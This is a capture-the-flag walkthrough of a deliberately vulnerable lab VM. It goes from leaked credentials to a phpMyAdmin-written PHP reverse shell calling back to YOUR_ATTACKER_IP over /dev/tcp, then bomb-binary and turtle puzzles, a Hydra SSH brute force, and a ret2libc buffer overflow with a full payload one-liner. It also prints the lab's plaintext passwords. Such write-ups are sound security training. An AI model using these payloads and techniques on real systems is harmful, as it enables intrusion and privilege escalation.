-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathwalkthrough-1
More file actions
398 lines (234 loc) · 14.7 KB
/
Copy pathwalkthrough-1
File metadata and controls
398 lines (234 loc) · 14.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
## 1. Reconnaissance
Initial network reconnaissance was performed with an nmap scan, which identified the target host at 10.0.2.7. Directory enumeration using dirb was then conducted, revealing three key web applications: /forum, /phpmyadmin, and /webmail.
## 2. Initial Foothold via Leaked Credentials
An investigation of the /forum application revealed publicly accessible logs. In these logs, a password (!q]Ej?*5K5cy*AJ) was found, likely entered by mistake into a username field.
Security Issue: Exposing application logs publicly is a critical flaw, as they often contain sensitive user data and credentials. This information provides a direct path for attackers to gain unauthorized access.
The password was successfully used to log in as the user lmezard.
## 3. Lateral Movement & Privilege Escalation
After logging into the forum, the admin user's email address, laurie@borntosec.net, was discovered in the user list. By reusing the same password (!q]Ej?*5K5cy*AJ), a successful login was achieved on the /webmail application as the admin.
A search of the admin's mailbox revealed an email containing plaintext root credentials for the database:
User: root
Password: Fg-'kKXBj87E:aJ$
With these credentials, a successful login was made to the /phpmyadmin interface.
## 4. Remote Code Execution (RCE)
The path to RCE was to upload a PHP reverse shell using a SQL query. The target directory chosen was /var/www/forum/templates_c/.
Target Analysis (templates_c): This folder is a high-value target because the Smarty template engine compiles templates into executable PHP scripts and saves them here. This means the directory must be writable by the web server, making it a reliable location for file uploads.
The following SQL query was executed to write the reverse shell payload:
SQL
SELECT "<?php exec('/bin/bash -c \"bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1\"'); ?>"
INTO OUTFILE '/var/www/forum/templates_c/rev.php';
## 5. Gaining a Shell
A netcat listener was started on the attacker's machine (nc -lvnp 4444). Accessing the uploaded rev.php file via a web browser triggered the payload, establishing a reverse shell and granting interactive command-line access to the server.
## 6. Privilege Escalation to lmezard
After gaining the initial reverse shell, an enumeration of the /home directory was performed. A subdirectory named LOOKATME contained a password file, which revealed a new set of credentials:
User: lmezard
Password: G!@M6f4Eatau{sF"
A successful login to the lmezard account was made using these credentials, elevating privileges from the initial web server shell.
## 7. Solving the ft_fun Challenge
Inside lmezard's home directory, a tar archive named fun was discovered. Extracting the archive revealed a directory named ft_fun containing numerous small, unordered files.
Analysis: Each file was a snippet of C source code, marked with a //file<number> comment that indicated its correct order.
Solution: A Python script was created to automatically read all the snippets, sort them numerically based on the comment, and assemble them into a single, valid C file named main.c.
Execution: The resulting main.c file was compiled with gcc and the compiled program (a.out) was executed.
## 8. Privilege Escalation to laurie
The compiled program's output revealed the final password: Iheartpwnage.
As instructed, this password was then hashed using SHA-256 to generate the credential for the next user.
Bash
echo -n "Iheartpwnage" | sha256sum
The resulting hash, 330b845f32185747e4f8ca15d40ca59796035c89ea809fb5d30f4da83ecf45a4, was used as the password to successfully SSH into the laurie account, completing the final stage of the challenge.
## 9. Defusing the bomb Binary
As the laurie user, the final challenge was an executable file named bomb. This program required six specific inputs, or "phases," to be solved in sequence to prevent it from "exploding." A README file provided crucial hints for solving several of the phases.
## The Six Phases
Content of the README file:
Diffuse this bomb!
When you have all the password use it as "thor" user with ssh.
HINT:
P
2
b
o
4
NO SPACE IN THE PASSWORD (password is case sensitive).
Solutions :
Phase 1 : Public speaking is very easy.
Answer : Publicspeakingisveryeasy.12624120720
Phase 2 :
string should always start with 1 considering the if condition at line 9
the while loop logic basically verifies if numbers[i + 1] is equal to (i + 1) * numbers[i], and since we know that the 1st value should be 1, we can start the calculation by the following the pattenr below :
first loop: 2nd param = (1 + 1) * 1st param (2)
second loop: 3rd param != (2 + 1) * 2st param (6)
third loop: 4th param != (3 + 1) * 3rd param (24)
fourth loop: 5th param != (4 + 1) * 4th param (120)
fifth loop: 6th param != (5 + 1) * 5th param (720)
will stop here because 6 is not greater than 6
Answer : 1 2 6 24 120 720
Phase 3 :
First note we must keep in mind is that the README file shows us that the letter b is the 2nd character in the phase's solution.
The phase 3 code fills 3 characters inserted in the input into the respective variables (local_10, local_9 and local_8), then it presents a switch expression with multiple cases where each case sets the uVar2 value to a certain character, and finally it triggers the bomb at the end if local_9 variable is not equals to uVar2.
since we already know that the character b is the 2nd letter in the solution, which means it will be the value of the local_9 variable, then based on that, we can insert the case id where uVar2 is set to b (case 1 in this situation), and set the last character (local_8 variable) to be equal to the hex value. (Remember to convert the hex into int since local_8 has variable type of int).
Very easy just follow the first case(1 b 214)
Phase 4 :
We can see that the code verifies that the user input is only 1 character and it should be greater than 1.
the func4 function code hints to the use of recursion to calculate a certain number, which is also returned at the end and compared with the hex value (0x37), which is 55 in decimal.
Based on this anaylsis, it was possible to retrieve the digit that will be inserted into func4 and result in it returning 55 by bruteforcing the value until the result is 55 (answer is 9):
#include <stdio.h>
int func4(int param_1)
{
int iVar1;
int iVar2;
if (param_1 < 2) {
iVar2 = 1;
}
else {
iVar1 = func4(param_1 + -1);
iVar2 = func4(param_1 + -2);
printf("%d + %d = %d\n", iVar1,iVar2, iVar1 + iVar2);
iVar2 = iVar2 + iVar1;
}
return iVar2;
}
void main(int argc, char **argv)
{
int iVar1;
int local_8;
iVar1 = sscanf(argv[1],"%d",&local_8);
iVar1 = func4(local_8);
if (iVar1 != 0x37) {
printf("boom");
}
return;
}
Phase 5:
First note we must keep in mind is that the README file shows us that the letter o is the 1st character in the phase's solution.
The phase requires the user input to be exactly six characters. For each character, a loop computes an index by applying a bitwise AND with 0xF (decimal 15), then uses that index to look up a byte from an array (array.123 in ghidra). The six retrieved bytes are concatenated and compared to the target string "giants".
since ghidra doesn't always show exact correct code, we can use the following command to find out the content of array.123:
strings bomb | grep g | grep i | grep a | grep n | grep t | grep s
we can then copy the same logic utilized by the phase to retrieve the needed characters (we only relied on lowercase alphabets since the hint states 1 lowercase alphabet already existing in the solution):
#include <stdio.h>
#include <string.h>
void main(){
char *str = "isrveawhobpnutfg";
char *target = "giants";
int i = 97;
char c;
while (i < 122)
{
c = str[(char)((char)i & 0xf)];
if (strchr(target, c) != NULL) {
printf("Character '%c' : '%c' found!\n", c,(char)i);
}
i++;
}
return;
}
solution : opekmq
Phase 6:
analysis show that the excepted input should be 6 integers, which should be between 1 - 6 and shouldn't have any replicas (check the code)
since we don't have access to node1 value, we decided to just bruteforce the needed string:
from itertools import permutations
import os
digits = '123456'
numbers = ''
for p in permutations(digits, 6):
numbers = f"{p[0]} {p[1]} {p[2]} {p[3]} {p[4]} {p[5]}"
print(f"{numbers} :")
os.system(f'echo "Public speaking is very easy.\n1 2 6 24 120 720\n1 b 214\n9\nopekmq\n{numbers}" | ./bomb | grep Congratulations')
we got the following string:
4 2 6 3 1 5
password: Publicspeakingisveryeasy.126241207201b2149opekmq426315
## Escalation to zaz: The turtle Challenge
As the thor user, the new challenge was a file named turtle. This multi-step puzzle required file analysis, script decoding, and a brute-force attack to solve.
## 1. Analyzing the turtle Script
The first step was to determine the file type.
Bash
file turtle
turtle: ASCII text
Reading the file with cat turtle revealed a script of French drawing instructions and the question, "Can you digest the message?". A Python script using the turtle library was created to parse and render these instructions, which drew the letters SLSAH.
## 2. Cracking the Anagram Password
The term "digest" was identified as a hint for cryptographic hashing (like MD5), and the letters SLSAH were treated as an anagram for the password.
Anagram Generation: A Python script generated all unique permutations of "SLSAH".
Wordlist Creation: Each permutation was converted to its MD5 hash to create a wordlist.
Brute-Force Attack: Hydra was used to brute-force the SSH login for the user zaz with the generated hash list.
Bash
hydra -l zaz -P md5_comb.txt -f ssh://10.0.2.7
## 3. Final Access
The attack succeeded, identifying the correct password hash: 646da671ca01bb5d84dbb5fb2238dc8e.
This MD5 hash corresponds to the plaintext password SLASH. Logging in as zaz with this password completed the final objective of the machine.
## Privilege Escalation via Ret2libc Buffer Overflow
This walkthrough explains how to exploit a setuid 32-bit ELF binary with a buffer overflow vulnerability to gain root privileges.
Part 1: Initial Analysis and Reconnaissance
The first step is to understand the target binary.
1. Identify the Target
You have a file named exploit_me. Using the file command reveals critical information:
Bash
file exploit_me
exploit_me: setuid setgid ELF 32-bit ... not stripped
This tells us:
It's a setuid binary, meaning it runs with the owner's permissions (likely root). This is our path to privilege escalation.
It's not stripped, meaning function names are still inside, making analysis much easier.
2. Understand the Program's Behavior
Running the program with a test argument shows it simply copies the argument into a buffer and prints it. This is a classic setup for a buffer overflow. The C code for this is:
#include <string.h>
int main(int argc, char *argv[]) {
char buf[128];
if (argc == 1) return 1;
strcpy(buf, argv[1]);
puts(buf);
return 0;
}
The vulnerability is the strcpy function, which doesn't check the length of the input (argv[1]) before copying it into the 128-byte buffer (buf)
Part 2: Calculating the Offset in GDB
Our goal is to overwrite the saved return address (EIP) on the stack. To do this, we need to find the exact distance (the offset) from the start of our buffer to the saved EIP.
1. Find the strcpy Address
We need to pause the program right before the overflow happens. We use GDB to find the address of the strcpy call.
gdb -q exploit_me
(gdb) disas main
The disas (disassemble) command shows us the assembly "map" of the main function. We look for the call strcpy instruction to get its address.
...
0x08048420: call 0x8048300 <strcpy@plt>
...
2. Set the Breakpoint and Run
We set a breakpoint at that address to pause the program. The asterisk (*) tells GDB it's a memory address.
break *0x08048420
run 42
The program now runs with the argument "42" and stops at our breakpoint.
3. Find the Start and Target Addresses
Now that the program is paused, we find our two key "coordinates":
Find the Buffer Start Address: The address of the buffer is usually in the EAX register right before strcpy is called.
info registers eax
eax 0xbffff6d0
Find the Target Return Address Location: The info frame command shows us where the saved registers are stored on the stack.
info frame
Saved registers: ebp at 0xbffff758, eip at 0xbffff75c
4. Calculate the Offset
The offset is the distance between these two addresses.
Start: 0xbffff6d0
Target: 0xbffff75c
Offset: 0xbffff75c - 0xbffff6d0 = 140 bytes.
Part 3: Gathering Payload Addresses (ret2libc)
Our exploit won't use custom code; it will reuse functions already in memory from the C library (libc). This is a ret2libc attack. We need the addresses of three items.
1. Find the system() Address
This is our new destination. We'll overwrite the return address with this value to hijack the program's execution.
print system
$1 = {<text variable, no debug info>} 0xb7e6b060 <system>
2. Find the exit() Address
This will be the return address for the system() function, ensuring the program exits cleanly after our shell closes.
print exit
$2 = {<text variable, no debug info>} 0xb7e5ebe0 <exit>
3. Find the "/bin/sh" String Address
This is the argument we need to pass to the system() function. We search for it in memory using a large, arbitrary number as a shortcut for the search length.
find &system, +99999999, "/bin/sh"
0xb7f8cc58
1 pattern found.
Part 4: Building and Launching the Exploit
We now have all the components to build the final payload.
Payload Structure
The payload consists of four parts, assembled in a precise order:
Padding (140 bytes): Junk data to fill the buffer and reach the saved EIP.
system() Address (0xb7e6b060): Overwrites the saved EIP. This is our new destination.
exit() Address (0xb7e5ebe0): The return address for system(), ensuring a clean exit.
"/bin/sh" Address (0xb7f8cc58): The argument for system(), telling it what command to run.
Final Command
We use a one-line script (Python in this case) to generate the binary payload and pass it as an argument to exploit_me. The $() syntax executes the script and uses its output.
./exploit_me $(python -c 'import struct, sys; sys.stdout.write("A"*140 + struct.pack("<L", 0xb7e6b060) + struct.pack("<L", 0xb7e5ebe0) + struct.pack("<L", 0xb7f8cc58))')
When this command is run, the strcpy function overflows the buffer, the stack is corrupted with our crafted payload, and when main() attempts to return, it instead jumps to system(), which then executes /bin/sh. Because the original program was setuid, the resulting shell has root privileges.
run whoami it will gives you root.